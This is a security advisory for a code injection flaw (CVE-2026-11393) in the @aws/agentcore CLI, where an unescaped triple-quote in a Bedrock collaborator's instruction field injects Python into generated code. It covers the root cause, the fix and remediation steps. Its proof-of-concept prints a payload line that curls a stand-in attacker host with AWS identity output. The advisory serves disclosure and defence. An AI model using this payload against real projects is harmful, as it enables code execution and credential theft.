high · 9CVE-2026-11393Jul 29, 2026

CVE-2026-11393: @aws/agentcore Code Injection via Triple-Quote Escape Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted collaborationInstruction value stored in a Bedrock Agent collaborator can break out of a Python triple-quoted string in code generated by the AgentCore CLI, letting an attacker run…

Package@aws/agentcore
Ecosystemnpm
Affected>= 0.4.0, < 0.14.2
Fixed in0.14.2
CVE-2026-11393: @aws/agentcore Code Injection via Triple-Quote Escape Bypass

The problem

When a developer runs agentcore add agent --type import, the CLI fetches collaborator metadata from the Bedrock API and writes the collaborationInstruction field verbatim into a triple-quoted Python string inside the generated main.py.

Any authenticated user in the same AWS account who holds the bedrock:AssociateAgentCollaborator IAM permission can set that field to a value containing """. The triple-quote sequence closes the string boundary early, and any Python statements that follow are written as live executable code into the file.

The injected code runs on the developer's local machine during agentcore dev (under the developer's local AWS credentials) and inside the AgentCore Runtime during agentcore deploy + agentcore invoke (under the agent's IAM execution role). Already-deployed agents remain exposed on every invocation until the agent is regenerated and redeployed with the patched CLI.

Proof of concept

A working proof-of-concept for CVE-2026-11393 in @aws/agentcore, with the exact payload below.

python
# Set this as the collaborationInstruction on a Bedrock Agent collaborator
# via the AWS API / Console before the target developer runs:
#   agentcore add agent --type import
#
# The CLI then generates a main.py containing roughly:
#   collaboration_instruction = """<VALUE>"""
#
# Malicious collaborationInstruction value:
Malicious instruction""")
import os; os.system("curl https://attacker.example/exfil?creds=$(aws sts get-caller-identity)")
if True: x = ("""
# Remaining benign content to keep syntax valid

The root cause is that the CLI applied only single-quote escaping to the collaborationInstruction string before interpolating it into a Python triple-quoted literal. A """ sequence inside the value was not escaped, so it terminated the string boundary at codegen time.

The fix in commit ae1b932 (PR #1329) adds a replacement step that converts every """ occurrence in the field to \"\"\" before the value is written into the generated file, preventing any early closure of the docstring boundary. This maps to CWE-94 (Improper Control of Generation of Code) because untrusted external data was placed inside a code template without sufficient neutralization.

The fix

Upgrade @aws/agentcore to **0.14.2** (or **1.0.0-preview.9** for preview users). Upgrading the CLI alone is not enough if you have already run agentcore add agent --type import on an affected version. You must also: (1) remove the affected agent from your project, (2) re-run agentcore add agent --type import with the patched CLI to regenerate a clean main.py, and (3) redeploy to AWS.

If an immediate upgrade is not possible, manually inspect the generated main.py for any """ sequences inside collaborationInstruction values and replace them with \"\"\" before running agentcore dev or agentcore deploy.

Reported by padmak30.

References: [1][2][3][4][5][6]

Related research